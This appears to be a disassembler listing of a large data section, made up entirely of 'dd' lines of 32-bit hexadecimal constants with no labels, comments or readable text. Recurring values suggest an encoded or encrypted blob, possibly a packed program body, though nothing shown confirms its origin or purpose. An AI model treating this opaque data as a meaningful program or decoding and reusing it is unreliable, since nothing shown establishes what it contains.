		dd 3E60E9B7h, 1575CB34h, 0BD321132h, 65D1CCDBh,	613ABBDEh
		dd 0E423CD67h, 61DB7AF8h, 38E34E86h, 52606F01h,	479EA952h
		dd 15661ADAh, 4B050232h, 0AACD71ADh, 5D774A1Fh,	7D074B6Ch
		dd 0F7FED1ABh, 8D3BBCAh, 0ED600939h, 294394BFh,	0EA938E19h
		dd 1EC4BE2h, 75662232h,	0FAAE9054h, 156E61F2h, 0DCB24432h
		dd 0EB6BA3E9h, 9C071831h, 27FE3DB7h, 1560AD34h,	92692232h
		dd 0AA111035h, 38E34ECEh, 52606F01h, 156629DBh,	0E16BD632h
		dd 0BB121725h, 0ADE30179h, 0E806E05Ah, 1577F883h, 0CD9B8832h
		dd 0B587B558h, 57B9E4A9h, 0FC572D0Ch, 1A16FDD1h, 156648BAh
		dd 13EB2D32h, 1A661132h, 156688B6h, 8D3BB32h, 75600939h
		dd 0E9B2D8B2h, 30E30553h, 75606F0Eh, 22B0A352h,	0EC3C5BE3h
		dd 74BE3C53h, 1A9394CDh, 156628B9h, 0FBE77132h,	0A9F0F24h
		dd 9C072552h, 27FE9BB7h, 1577F834h, 1CCB8832h, 8C48374Ah
		dd 5C49EDC1h, 0B95619F1h, 0D3EE3E66h, 3E5569B7h, 93696534h
		dd 1566113Dh, 156682DBh, 41DEE732h, 0BA251FE0h,	1AD54798h
		dd 156683B7h, 0C6E72432h, 4919E97Fh, 749F9A54h,	0B3989C5Ah
		dd 1568ADEDh, 0C4BD2232h, 5968103Eh, 305FA74Dh,	6A6E6CBDh
		dd 1E7B97CDh, 0A7061719h, 156F61A2h, 9B644432h,	39A7624Fh
		dd 74F45976h, 29430DBFh, 73064219h, 0FCB6778Bh,	1566113Eh
		dd 0B9FBA69Dh, 0F26DC3E1h, 78C501Eh, 1574F853h,	0BCA98832h
		dd 4525D4FAh, 0C60EFDDEh, 8FCA9F91h, 0EA418299h, 0E90694CDh
		dd 0A8E3AB53h, 1A6023AAh, 156685BBh, 156EAD32h,	1B9A2232h
		dd 0C76A7D13h, 0D39F2217h, 3E5569B7h, 1B8F7D34h, 34661132h
		dd 5F071507h, 9C9411Fh,	7A09D44Eh, 0E70E797Ch, 98691662h
		dd 15664433h, 1576CBCBh, 0F7301132h, 80310A23h,	7167063Ah
		dd 8D0E8C61h, 0A09988E5h, 134D832Fh, 30E3C9CAh,	0E060090Eh
		dd 9B69C1CDh, 1566883Eh, 1560CA3Dh, 99692232h, 15661132h
		dd 8DA70DBBh, 78F4200h,	0DA662232h, 7ABDAE1Bh, 383ED788h
		dd 6D1C2B29h, 3ACC4C78h, 38E3D748h, 5A60A301h, 6E592CCAh
		dd 9169E5CEh, 15661134h, 0E1DFEE52h, 0A09925ABh, 134D292Fh
		dd 156617DBh, 2275EA32h, 751D169Ah, 9807DBCBh, 3E5A34B7h
		dd 0C5997034h, 81B0C552h, 1A4DFAFBh, 156613B5h,	7438DB32h
		dd 8D8BC1BBh, 108F2400h, 0D3661132h, 0DB8394F4h, 264BC1F4h
		dd 0ED212419h, 1575933Dh, 1B8F8832h, 0CB664432h, 8B3E78F9h
		dd 0F76C0DAFh, 4EB2ED8Fh, 7B2A2CCFh, 0EA9ED869h, 3E6D0C87h
		dd 90EB7134h, 134D7817h, 156625DBh, 0C9E8C32h, 0F4C361A9h
		dd 759F94CDh, 94066F80h, 660639D0h, 74623F33h, 0E4E3CD53h
		dd 1A6010AAh, 156610B4h, 90A07432h, 134D771Fh, 1DE52D75h
		dd 1A661132h, 15668AB0h, 0EC072432h, 1342EF5Ah,	1A0671F1h
		dd 1A07478Dh, 156642B5h, 0FA97A332h, 747530C1h,	1E7B3DCDh
		dd 759A4219h, 0D997A354h, 48F712Fh, 2D668832h, 58444CC7h
		dd 0A7BE1788h, 6A6F5B17h, 941764F0h, 156641DAh,	61807F32h
		dd 7438CF55h, 30E30553h, 0FC606F0Eh, 15662234h,	0B92A04E8h
		dd 0C599C342h, 1567CB3Dh, 9C9A2232h, 27FEE4B7h,	188FE834h
		dd 2C664432h, 85C2956Ah, 8DE5511Dh, 0FA5C2DDAh,	15E74B60h
		dd 4F662232h, 38E3D753h, 4A60A301h, 75AA2CCBh, 9869F689h
		dd 1566113Eh, 94673352h, 0DEDC5D0Ch, 7433D6B9h,	1E7BA4CDh
		dd 989F8E19h, 3E5A61B7h, 1BE22D34h, 0FC661132h,	1566883Bh
		dd 61CBCD04h, 480C2E16h, 75B6EEAAh, 6CF93254h, 156649DBh
		dd 6F631432h, 1AAB0F14h
		dd 34783A21h, 9C072A2Eh, 27FEE7B7h, 90A0ED34h, 134DBB1Fh
		dd 1A31246Dh, 156622B7h, 0CCE64A32h, 58FE910h, 0AB664432h
		dd 6D926218h, 5644FF06h, 0E1C1AA98h, 7DB25CF3h,	8B8F767Ch
		dd 156618DBh, 988C6732h, 8FF60D38h, 0A0999725h,	134D1A2Fh
		dd 0AA00E8CBh, 7306104Ah, 0FC89A989h, 1566113Bh, 0A3BE6136h
		dd 46357346h, 9807439Dh, 3E5A34B7h, 0C5997D34h,	90EF2552h
		dd 1354BAFBh, 38E3D7CBh, 4A60A301h, 3D2E2CC7h, 68FF321h
		dd 0CA661132h, 0B8A7AB38h, 0B13E84CEh, 29E1CC61h, 43DFBE1Ah
		dd 0A09943B2h, 134D4F2Fh, 15662EDBh, 0C6EF7532h, 570BEEC0h
		dd 8AFCCC06h, 30E3AF63h, 0ED603A0Eh, 946958CDh,	15664422h
		dd 156629DBh, 35EF8232h, 8C840613h, 9648790Dh, 8DABA7BBh
		dd 138F1700h, 7F668832h, 0CD8976D2h, 110CDAFEh,	0FFE67152h
		dd 156A614Fh, 5E594432h, 425A0696h, 0F7A0A5ADh,	1A078293h
		dd 1A078785h, 156623B8h, 150EE832h, 0E0668822h,	1576445Ah
		dd 156ACB32h, 0A4E71132h, 7E28C9D7h, 0BF87DFA3h, 150C79FAh
		dd 73879B52h, 51736FB3h, 12EB4B53h, 1A662232h, 156610B8h
		dd 80997032h, 134D4567h, 15662ADBh, 0BD4BEE32h,	702D06BAh
		dd 156FADA0h, 50302232h, 0CDE8A690h, 9CDAE297h,	3E713DB7h
		dd 0AA694234h, 0EED91EE3h, 55E30553h, 75607658h, 7CC9D1B3h
		dd 1A377F0Ch, 156688B9h, 0EA071D32h, 110CDBE2h,	0A269E452h
		dd 150EE9C2h, 0ED664422h, 1546225Ah, 7F9EE832h,	80997432h
		dd 134D4567h, 30E3ABCEh, 75603A27h, 3E880954h, 1569ADA8h
		dd 1A8B2232h, 0E114AF01h, 80625890h, 0C86CDD55h, 90EF437Bh
		dd 134D1A3Bh, 13EF8752h, 1A664432h, 156622BFh, 0EDD11E32h
		dd 1A26E253h, 156643BFh, 14EE2D32h, 0E9661132h,	156D0E3Dh
		dd 138F4432h, 18662232h, 1766113Ch, 566E050h, 9A694432h
		dd 1566223Dh, 15661BDBh, 51A9EA32h, 6EFC587Fh, 0FC2DF875h
		dd 1566113Fh, 4A8A5828h, 5ED598A8h, 0BABB8A3Ah,	15667916h
		dd 198F8833h, 91664432h, 0D3A46BCEh, 3E34E9E2h,	7F482ECEh
		dd 8099BC32h, 134D2367h, 1567993Dh, 9C9A8832h, 3E68F9B7h
		dd 10E92D34h, 75661132h, 74A26AB2h, 0E0A8CF52h,	0FCD3A953h
		dd 0E9603A1Eh, 47315B9h, 0AC064219h, 1EE74F9Ah,	15661EDAh
		dd 5F3C0532h, 707BEC7Ah, 4FBFDE46h, 353E6D4Ch, 0E8F049B3h
		dd 74380F04h, 39B397BBh, 99691719h, 15668829h, 15E14B52h
		dd 0FD662232h, 1566113Fh, 1AC56A5Ah, 0F0B100BBh, 0CDEAC65h
		dd 9C0748E9h, 3E41A9AFh, 88EDBC34h, 134D3327h, 157F943Dh
		dd 98698832h, 15664421h, 15662CDBh, 3EA8F32h, 0B76FDF64h
		dd 0F980C1A1h, 4528AC27h, 1566118Ah, 784F8D32h,	0CD676DD2h
		dd 0F50B0B1Fh, 4D6E9A1Bh, 14E387CAh, 0EC664432h, 1A66DBB1h
		dd 1551ACB6h, 0F20E7432h, 9C664423h, 97690636h,	1566113Bh
		dd 0D4EDEE52h, 903CFD54h, 0F2EF7553h, 1562D6B3h, 0FAE58832h
		dd 315AC336h, 316AAB6Eh, 1567913Dh, 75938832h, 156BAD52h
		dd 0B0752232h, 724D8AC1h, 0E568B5EDh, 0FD6726FDh, 15662220h
		dd 72B2700Dh, 524F6F4Ch, 86C9869Ah, 0A9C3D052h,	0EEED4B83h
		dd 0D557E96Bh, 156CCE3Dh, 73062232h, 2F9AC9B3h,	744C69B2h
		dd 723C1BBh, 48F2419h, 33661132h, 0B444DC7Ah, 0A4697FF8h
		dd 0D4270CB9h, 2B865711h, 155AE0CAh, 21ED4432h,	11A2A316h
		dd 0FC661132h, 15668823h, 0F462181Dh, 9388B20Fh, 0E1DBFA5Eh
		dd 764673F5h, 0FF88C59Eh, 16501F5Ch, 40463546h,	2808628Fh
		dd 48884504h, 0FCCB44CEh, 15661135h, 2CA3E5C9h,	38B2B281h
		dd 315174D1h, 2B204D37h, 31228B45h, 533A6912h, 0F663550Ch
		dd 75422664h, 0BE753754h, 0BE04FC54h, 6D16DD53h, 9B4215B3h
		dd 4B48AC3Dh, 1AE8FF61h, 0CB4F0C16h, 14EC1E69h,	0E0668832h
		dd 40CEAAB3h, 0FBE7500Bh, 47F67031h, 3542FC31h,	746582B3h
		dd 0D3E770A2h, 675F449Ah, 4B9EDB52h, 74A9CF54h,	157E9860h
		dd 0E7671132h, 1EDB2B9h, 11A2C716h, 0CCD12D52h,	749CD4B2h
		dd 30F35BBh, 91694219h,	15662233h, 940071CAh, 9E09AFC2h
		dd 0EAE325E1h, 157CA73Dh, 1C8F1132h, 9B668832h,	31D3902Dh
		dd 0AAF6361Dh, 153B39DAh, 0A28F7132h, 0EC664436h, 9485AB61h
		dd 156615F1h, 118D0B32h, 494258B5h, 1A422EBBh, 156610BDh
		dd 42937132h, 404268B3h, 9E353C73h, 0D1E53526h,	40A40936h
		dd 1A355A73h, 156632B8h, 156DF832h, 8C318832h, 5D5AE328h
		dd 0A4D0FDA8h, 11B47A3Eh, 5CF301CAh, 0E9606F19h, 75EB9C52h
		dd 0F2E727ADh, 3E7EF8AEh, 75622E53h, 67332E8Bh,	188F715Ch
		dd 0E1668832h, 5F4A9BA2h, 6D8C8238h, 564DC668h,	150EE953h
		dd 0FC664422h, 1566223Eh, 0CAD99C23h, 22CA6977h, 9C156D29h
		dd 154C5F5Ah, 31729832h, 156A073Dh, 95694432h, 15662234h
		dd 15669E3Dh, 150C8832h, 156643DBh, 0BA49A732h,	36365154h
		dd 14331DCDh, 1D8F4219h, 0FA662232h, 0D0E772D1h, 9CD67F37h
		dd 3E4929B7h, 156FCB34h, 0CB4C1132h, 2B8C3EA4h,	4068D526h
		dd 0FFEFE7BBh, 94423DB9h, 15668CF6h, 9E44B32h, 75662232h
		dd 68F7052h, 20668832h,	3683AFE6h, 2B21AD38h, 7563C5DDh
		dd 0EB089E06h, 75074ACCh, 156624DBh, 0A9A9FB32h, 74EDBCB1h
		dd 464248B9h, 0D6E7C1BBh, 15661136h, 15624BB3h,	9E14432h
		dd 73067E16h, 7DC4CBB3h, 74A40354h, 153DA4DAh, 410EDB32h
		dd 9C661143h, 9469AC06h, 15664422h, 156629DBh, 14660432h
		dd 5FB77988h, 126CCF0Fh, 156DCB9Fh, 0FD1B1132h,	0E585362h
		dd 743DEC74h, 156CCBAAh, 5FAF1132h, 3A9CBFB7h, 0DCA166B8h
		dd 33C09961h, 0FEB755D1h, 2ADC43B3h, 0F6E73761h, 7B926A10h
		dd 0D6E7C2C5h, 771C9682h, 163D9C1Bh, 10420676h,	156C07BFh
		dd 156683DBh, 0F2878A32h, 76F30A20h, 21512E61h,	9E3EDF62h
		dd 0D1E5600Eh, 14E42D36h, 0E0661132h, 21E7DF62h, 6D74D116h
		dd 80537A12h, 9C466920h, 188FD0F1h, 8F664432h, 9F4D222Dh
		dd 13AA4CC4h, 0FCA67BCEh, 9487CD63h, 156626F3h,	118F9032h
		dd 92668832h, 9C3A603Eh, 259E060Eh, 156AF8F2h, 91A48832h
		dd 0BEA3E39Bh, 0AD47409Dh, 0BB9F5480h, 93697547h, 15664433h
		dd 21EDDACAh, 0F2EF4616h, 15624FB3h, 0D2E54432h, 315AA536h
		dd 9400716Eh, 0AAA922C3h, 75CC7876h, 0C89A353h,	94585E7Eh
		dd 654286F5h, 94B96D04h, 65422CDDh, 0CA19004h, 0EC58C77Eh
		dd 9483CD67h, 156626F7h, 118B9032h, 92668832h, 9C3A601Eh
		dd 42930626h, 964205B9h, 94698CF6h, 1566443Dh, 156628DBh
		dd 94780332h, 138F1248h, 9EDD8105h, 3E715B8Fh, 1561F834h
		dd 0D478832h, 0A3860A06h, 0EA999B7Eh, 249AEECDh, 156D61F2h
		dd 71FA4432h, 8E80083Eh, 70CCAAEh, 118A0B1Fh, 0AC4248BBh
		dd 15662232h, 14ECE033h, 18E3876Bh, 0FC664432h,	1566223Ah
		dd 7FE9E678h, 0AF29DEECh, 75AE74CAh, 9594A954h,	450774D8h
		dd 0B815F18Ah, 20BEB30Bh, 5DEC7490h, 62993472h,	0CE63CECEh
		dd 149F639Fh, 0EA9E7AF4h, 11ED9606h, 11A20916h,	0ED664432h
		dd 0E96ECBF3h, 5F9FD003h, 0EAEF0D3Dh, 9C69BBCDh, 15662233h
		dd 0DEEF42CEh, 9ED50BBh, 11A2C716h, 1561A93Dh, 99691132h
		dd 15668833h, 14E24BCBh, 0E9662232h, 0C59187A4h, 96691EA4h
		dd 1566443Ch, 15662BDBh, 0B7CF8832h, 0DC87D041h, 2199BEBCh
		dd 0D1E57816h, 8C0EE436h
		dd 9C66881Bh, 17E96036h, 0D487A352h, 467A258Fh,	1566053Dh
		dd 743D4432h, 1572A53Dh, 1A8F1132h, 93668832h, 5980C32h
		dd 5B344F04h, 71909204h, 0A8338FFCh, 15664436h,	39EDC833h
		dd 11A29016h, 1A668832h, 156648BFh, 13EE2D32h, 1A661132h
		dd 156688B0h, 0F6EF1732h, 1562E1B3h, 0FEE71132h, 15668836h
		dd 494258B5h, 0EC4236BBh, 72394CDh, 95068E19h, 0A2691BEBh
		dd 80ED43FCh, 134D0377h, 0CED98752h, 156643DBh,	757FBD32h
		dd 777753CAh, 7CF3B153h, 1A606F24h, 15664EB6h, 1EDED32h
		dd 0F6EFDB16h, 156287B3h, 0D6E52232h, 317A9636h, 21ED716Eh
		dd 0F0EF1116h, 1562E7B3h, 0D0E71132h, 15668836h, 494268B5h
		dd 1561A33Dh, 9E691132h, 15668833h, 11DF15C7h, 14662232h
		dd 316A9AFCh, 1A624CB1h, 15664EB7h, 1563CB32h, 0CE9D1132h
		dd 0EC2FC789h, 0EA9AA5DBh, 1FEA2DCDh, 0FC661132h, 15668837h
		dd 944003F5h, 3152DD80h, 11A29268h, 315277C7h, 11A2C56Ch
		dd 75662232h, 1A99AE3Dh, 15669CB0h, 1569AD32h, 146E2232h
		dd 8370DC0h, 2A05E966h,	87AACD35h, 1A8F43ACh, 9661132h
		dd 0EFE3479Bh, 7CDA79A7h, 0BBCB6984h, 0FC0768D0h, 1566883Dh
		dd 0A1CD88E2h, 0BFBDFEB0h, 0E04A1138h, 0FCE94446h, 1566443Ch
		dd 245E8A0Fh, 7E534EBFh, 6F802324h, 21992F8Bh, 0D1E57B16h
		dd 156BF836h, 9408832h,	0CB6D8477h, 3CD161B7h, 0EA8735C5h
		dd 943EAC06h, 156640F6h, 90A1DE32h, 134D1AD7h, 15668832h
		dd 156643DBh, 0D37BD932h, 0B90B51CBh, 333B0DF5h, 15664219h
		dd 0FC9A2232h, 15661122h, 0D3671C96h, 0E7CF0D67h, 0A8A73146h
		dd 626F23F0h, 8D5335B1h, 1A664200h, 156662B6h, 156CF832h
		dd 415E8832h, 0E6E00B60h, 8E4A1C80h, 0A2A48CBFh, 58F8E03h
		dd 41664432h, 3ED70DD5h, 89EB8D67h, 0AE19F037h,	1AFA88A1h
		dd 156625B1h, 14EA1E32h, 0E9668832h, 0A30697CDh, 0DCD12D23h
		dd 0ECE3EE53h, 0FC60A327h, 15664437h, 0BFA4A715h, 0ECDB9219h
		dd 7160A327h, 17F7C63Dh, 1D8F2232h, 91661132h, 0C557EDFAh
		dd 0D23B70CFh, 3E73DBB7h, 15661034h, 16EE8732h,	75664432h
		dd 1C8F43CEh, 40661132h, 1CE7371Dh, 900D7696h, 18EE2D52h
		dd 75661132h, 15668EDBh, 0D1A67C32h, 743B527Ch,	15661CDBh
		dd 0D97F4B32h, 3A097230h, 0BE82D55Bh, 90EBCF5Eh, 1354FED5h
		dd 1AB6BBC7h, 15662CBDh, 156FF832h, 91B08832h, 787584CFh
		dd 9847097Fh, 27FF1487h, 0E5ECE834h, 0C0149CB3h, 9807474Dh
		dd 26462B8Fh, 0FAE77134h, 1E833957h, 0AB30D51Bh, 70AD7501h
		dd 0E2285EC5h, 4490C5E4h, 14080C2Bh, 94064FC5h,	0EBB123EAh
		dd 0A5DE225Bh, 96694381h, 1566113Dh, 156682DBh,	59715F32h
		dd 24D83284h, 46236969h, 9C9C0160h, 0CFEF1EE1h,	1569CB69h
		dd 0CF1E1132h, 0E834EA34h, 5481A2BCh, 238B594Ah, 6CDB9A52h
		dd 0FC60A325h, 1566443Eh, 373B0681h, 82195E2h, 61AFBF08h
		dd 0EA99BB8Bh, 156BCBCDh, 68CB1132h, 209557CFh,	847C595h
		dd 24CB4D56h, 0E71EF2h,	75668832h, 0ACD69689h, 156FCB48h
		dd 0DFD61132h, 0B1CDD4D6h, 74682D36h, 8DDE7260h, 5568E400h
		dd 7C0CA917h, 37677137h, 0D7EF2653h, 9F94106Ah,	259FD230h
		dd 0E5ED24FAh, 0AA749B54h, 0EADF4053h, 3C9977CDh, 0EA931DFCh
		dd 0AD36A506h, 691967A7h, 1142CC1Bh, 80631C6Ah,	0E01A5D44h
		dd 1577993Dh, 198F8832h, 8D664432h, 0E0E10F1Eh,	10348BEFh
		dd 0D4CE1A2Ch, 0AA064CDBh, 34436A68h, 949E1989h, 0D457E97Ah
		dd 15664BDBh, 9A034432h, 892725Ah, 503B51EBh, 0DF744D55h
		dd 49E32D78h, 1A99EECDh, 156689B3h, 4235B832h, 0EEEFEDBBh
		dd 4EBE986Dh, 156683DBh, 0AF90E532h, 139C5E32h,	803C17B0h
		dd 0C5BE0952h, 9E0F03A7h, 0F9E543C9h, 31629836h, 4D429CC5h
		dd 156648DBh, 0F0518432h, 879E81C5h, 0B54B6F80h, 74E37D05h
		dd 1A600901h, 156699B6h, 15696132h, 3C44432h, 2541772Eh
		dd 0C7808267h, 0BB0FEC95h, 15662C14h, 11ED2232h, 11A29216h
		dd 17EC8752h, 42664432h, 0D5E74469h, 1E07414Dh,	2EE387F2h
		dd 75664432h, 0E02E538Ch, 156BF826h, 77678832h,	5F9EDC41h
		dd 2CB47ADCh, 74D07290h, 267B0DF5h, 15674219h, 1A062232h
		dd 156613B0h, 0FCA70332h, 1566443Bh, 309C526h, 41802CF5h
		dd 0AF34E982h, 15571D88h, 6928E3B3h, 0C46704BCh, 692861B3h
		dd 0EC3C51BCh, 479E43CEh, 0A26C4C5Ah, 0E7E7D225h, 5FD727E2h
		dd 9461C8F3h, 0FF8DC5F0h, 39E7DA0Ah, 0B6510016h, 0D4E77B56h
		dd 71C52676h, 9400E868h, 0FCC018F5h, 15662222h,	0A0987666h
		dd 0E9AB8524h, 4FBC10D2h, 14231D03h, 2F927953h,	1EDCE8Bh
		dd 11A2C716h, 156633DBh, 76801332h, 0FCBF7E8h, 9DE391E1h
		dd 987180D7h, 1ACB5AC7h, 156682B8h, 4C352432h, 1566A33Dh
		dd 9C071132h, 3E4A5D87h, 0AF34BD34h, 0EA99DDCEh, 1D09FBB3h
		dd 0E7678EA3h, 1D0986B3h, 17A124A3h, 15661132h,	0FB5B7D68h
		dd 1A88AADCh, 1566E8B7h, 2BE7E432h, 0C8BB55EFh,	15DBC13Dh
		dd 0E99F2232h, 3D84765h, 943A813Eh, 9723FBC4h, 0E2B8D50Bh
		dd 94B0E6ECh, 61D0DEC4h, 4B91CDA8h, 75391CBBh, 1A36E9B9h
		dd 743E7785h, 1576C13Dh, 1E8F2232h, 1661132h, 0E354593Bh
		dd 10D427h, 4636A522h, 0EE67B75Ah, 0E6E7D317h, 6F892B61h
		dd 9462C1F3h, 30691FD9h, 0D7A5097Fh, 9C3D9A2Dh,	0D36779EAh
		dd 0E3E7716Ah, 224BD666h, 0C110DD8Ch, 0A0EF4360h, 134D3DE7h
		dd 15750E3Dh, 9E694432h, 1566223Fh, 156619DBh, 470F4832h
		dd 8C400BC0h, 3EDFCB49h, 1A061132h, 15668EB4h, 15E24B32h
		dd 74662232h, 0EA98BBDBh, 9506E8CDh, 0A26955FBh, 0DFED43FAh
		dd 94367153h, 0E722E8FDh, 7D071E43h, 15660FC0h,	9C423DBBh
		dd 488D01F7h, 0FDAECF52h, 1566223Fh, 77F58001h,	0A841F0AFh
		dd 4EB3F6Ah, 1576CBC9h,	789B1132h, 0A7133DB5h, 0BEEC3AF2h
		dd 5C5B72A8h, 743F8AF3h, 267B0D01h, 73064219h, 7493ECB9h
		dd 0EC65D9F3h, 1A29D437h, 44B66D4Dh, 1A297E8Bh,	4CAE384Dh
		dd 1571053Dh, 78F4432h,	3A662232h, 4EEBE485h, 0F71146A6h
		dd 6CAC8BDAh, 1F489031h, 5A6D09Eh, 156699DBh, 70738932h
		dd 3DC67ACEh, 3B1772E1h, 99018A7Dh, 1A069D3Bh, 0A206DC85h
		dd 0D8A7AECEh, 7407CB07h, 9E698C03h, 15662225h,	1577973Dh
		dd 198F8832h, 12664432h, 73E0BA73h, 0ECF34F0Bh,	9C1D3F87h
		dd 3E5559AFh, 155BDA34h, 1A661032h, 156706B1h, 18EF4B32h
		dd 75662232h, 45A99054h, 15EE8747h, 74664432h, 0AEDD1CB3h
		dd 9069AA89h, 1566895Dh, 738DCE52h, 4607E1B9h, 15661189h
		dd 9E780132h, 0D1E5602Eh, 1CE52D36h, 75661132h,	15660E3Dh
		dd 749A4432h, 15624A62h, 143E1132h, 128FD0F4h, 20664432h
		dd 0C3A092B2h, 0A0EF3924h, 134DA4E7h, 156642DBh, 6A2A2C32h
		dd 9E43281Dh, 3E779DAFh, 1569AD34h, 99F42232h, 0C8C529F8h
		dd 0EF1838DAh, 0B66C8E2h, 9E55DD95h, 0D1E5353Eh, 94367D36h
		dd 4809601Eh, 423C62AFh, 883B7E8Dh, 4A9C8972h, 9A6924C7h
		dd 15662221h, 15661FDBh, 0F9352A32h, 32D643A2h,	219785D7h
		dd 1AAD4843h, 156691BBh, 99692432h, 15662232h, 15661DDBh
		dd 9BB64432h, 32CB4D1h,	90211E06h, 47307010h, 4B96016Ch
		dd 0A4E36FCBh, 0FC60092Eh, 15661121h, 0FD89CA84h, 677CC6A0h
		dd 5B075BEAh, 0A217FBF9h
		dd 0D4BC11A5h, 0ED0646D2h, 74A8A954h, 33AB9431h, 249A8E19h
		dd 24A075C2h, 11E22DC2h, 75661132h, 0B8078382h,	0E5EC1752h
		dd 1497A26Ch, 7E21E53h,	75668832h, 15664DDBh, 931B6E32h
		dd 4B82ED83h, 7406F568h, 15F36953h, 344B0127h, 143EFF11h
		dd 36478DFAh, 80631CDCh, 75453732h, 9DEEE2B3h, 0E0D9F78Dh
		dd 743B5BD3h, 94266BBh,	1563F8CBh, 0DBBD8832h, 74258DFEh
		dd 15662BDBh, 0C8455732h, 0C9F695Ah, 9569FC58h,	15662233h
		dd 178AF8C7h, 429E8832h, 0D2E7A3BBh, 15662236h,	9262FEB1h
		dd 9C3AAC0Eh, 7306603Eh, 3F9CFCB3h, 156618DAh, 9DF97332h
		dd 0EB432A2Dh, 7406D5D9h, 1A0E706Ah, 9C668854h,	138F6026h
		dd 0C2662232h, 0CD2756BAh, 0FCAFB9ACh, 1566443Fh, 952A6B8Ch
		dd 5F23FF13h, 58EB59Bh,	78F3CF42h, 7560091Dh, 156603DAh
		dd 0F9D9932h, 0FEE1B763h, 41EAE6BCh, 80A515E4h,	1A98F6FEh
		dd 156644BAh, 2E077832h, 0AEE21E30h, 75668832h,	8D06E38Ah
		dd 0ECCE9C7Ch, 7D074869h, 1566880Bh, 0AE4258BBh, 15662236h
		dd 753DCB33h, 93699985h, 15664430h, 4307D2B9h, 7507EF8Ch
		dd 94B87F2Eh, 0CD3C64D4h, 1490A31Dh, 14458928h,	2E9ED6C3h
		dd 3E702DBFh, 0B9E32D34h, 1A99EECDh, 15668DB5h,	0AA692432h
		dd 0AC3743EAh, 15661132h, 31520963h, 6DA6168Eh,	47DA176Ah
		dd 753F69F2h, 15606152h, 5BD54432h, 2ED43C17h, 15661DDAh
		dd 7D847F32h, 8A0209CEh, 0DF37D189h, 1A074E79h,	9807588Dh
		dd 3E28E5BFh, 1563CB34h, 59B81132h, 1A6F759Dh, 156656B1h
		dd 156BCB32h, 91221132h, 14DBAE89h, 0E029D37Fh,	0EAD63F27h
		dd 98EFE9D3h, 134D9A77h, 0D6D14B52h, 0FAE74452h, 9369BE17h
		dd 15668832h, 1ED2553h,	0F2EF7516h, 1562D6B3h, 0D2E78832h
		dd 15664436h, 49421EB5h, 0F2E67152h, 353E3295h,	73070CC4h
		dd 0EA07E8B9h, 943F3506h, 15668CF6h, 9C36B832h,	156227D2h
		dd 114B1132h, 92668832h, 9C3A6036h, 0E0060606h,	361C6B3h
		dd 1A079993h, 15664AB9h, 156FCB32h, 53181132h, 0D14D92E7h
		dd 9E4AFCF9h, 3E7737AFh, 156EF834h, 6708832h, 0A7A2E059h
		dd 0AD36F94Bh, 15661132h, 1DED5033h, 944240B9h,	156626F6h
		dd 14EB1E32h, 0E0668832h, 723C1B9h, 94692419h, 15661133h
		dd 1A8659CEh, 156662B2h, 1A8F4232h, 0D3661132h,	0BD9A5DAAh
		dd 42FC1493h, 207D416Fh, 1E8F7C6Dh, 49668832h, 97C06CCFh
		dd 92A79F54h, 0EC0752EBh, 30DB0D31h, 94694219h,	15662221h
		dd 15661FDBh, 6947F632h, 649F0DB7h, 0D3AA156h, 24BBCB5Bh
		dd 0AE00E8C4h, 9406D07Eh, 0B2593BFBh, 4507706Ch, 31620364h
		dd 4B6280B1h, 156628DBh, 0D8F46432h, 0D1C75C69h, 73C5E46Bh
		dd 0F5A7D79Fh, 9065E930h, 134DAEFFh, 156643DBh,	0C5A13132h
		dd 0B2A6E81h, 0D3577803h, 128FB403h, 0BD662232h, 0D0DF9D45h
		dd 1ACBA3BFh, 15664BB7h, 156CCB32h, 0D7ED1132h,	0F3673C32h
		dd 8433DAD2h, 9E2EC937h, 46AE1058h, 9E2E6389h, 4EBE6D58h
		dd 1081A352h, 747A779Bh, 4042BCB9h, 0D0E7A1BBh,	15662236h
		dd 9262D4B1h, 0E03AAC1Eh, 0DDD94B52h, 156629DAh, 78DB8B32h
		dd 947B2475h, 87C99FCDh, 9A689B54h, 0A8E57069h,	134D821Fh
		dd 7DE24B33h, 0E0662232h, 1E7B9C09h, 91698E19h,	15664469h
		dd 0CEB19CAh, 1A603A1Dh, 1566C6B6h, 14E84B32h, 0ED662232h
		dd 0D6F9C09h, 91698E19h, 15664409h, 0CBFBAFCAh,	0E96023C1h
		dd 7D935BCDh, 156678AEh, 9C423EBBh, 4EB998F1h, 15E88752h
		dd 0FC664432h, 1566223Bh, 9576C9C1h, 9AB496F7h,	90EF252Dh
		dd 134D25FFh, 0AB9F8CBh, 98938832h, 27959AAFh, 1576CB34h
		dd 531D1132h, 551164BAh, 0B29B9149h, 0CE6A81EBh, 0C6994D48h
		dd 0DEE7EE52h, 9607DE11h, 3E6C0F8Fh, 91691134h,	15668863h
		dd 1567C13Dh, 2E9A2232h, 3E7F20B7h, 36E28734h, 75664432h
		dd 0DAED4452h, 15661BDBh, 0A1B63A32h, 5BAAC163h, 7465EE7Ah
		dd 6CE32A53h, 1A60A31Eh, 156658B7h, 4F8FDB32h, 1A99EECDh
		dd 156698BDh, 0C1EC2432h, 156624DAh, 194F3B32h,	4B8D56CBh
		dd 0D0E37F53h, 1A600930h, 15667EB7h, 128FE832h,	0DC664432h
		dd 4C69D16Bh, 1A8FAFBBh, 0A5668832h, 0E6189FA2h, 0D291D098h
		dd 0B96A6F6h, 7507AEA5h, 0BFFAFE54h, 75074252h,	96077053h
		dd 3E6C898Fh, 91694434h, 15662221h, 0FCDB92CAh,	1560A328h
		dd 1540C03Dh, 73062232h, 9807C0B9h, 271EB8B7h, 1DEF4B34h
		dd 75662232h, 0BF1BA954h, 0FC0742B9h, 0EA99BAE3h, 0C7D92D52h
		dd 7404CFB2h, 17A30D09h, 91694219h, 0EA99DC8Fh,	1567913Dh
		dd 969E8832h, 27FE5D8Fh, 90692334h, 1566117Bh, 15669BDBh
		dd 67E21932h, 4E69A720h, 0F51FB85Ch, 0EFCDA219h, 1BBAA349h
		dd 8D2BA709h, 90691700h, 15668817h, 0F1E3C9CEh,	0FC667B39h
		dd 15661121h, 0D6701BB7h, 3F1FC7DDh, 4F866093h,	5787525Dh
		dd 0FCC9BA92h, 0EA99BA59h, 0E09913CAh, 82FACB1h, 1A668E19h
		dd 15762FB6h, 0D6EC4232h, 4D2DA363h, 2CE3B353h,	1A6076AAh
		dd 15661FB7h, 73367132h, 447E42B3h, 9F06256Ch, 90ED43D9h
		dd 134D0717h, 156680DBh, 681E6732h, 8A35E128h, 0EADE41A2h
		dd 3C9977CDh, 1A8F1CF5h, 0A4662232h, 100E00BAh,	3772998Eh
		dd 0B658F7D3h, 905DA2B9h, 13548973h, 15080D3Dh,	9E934432h
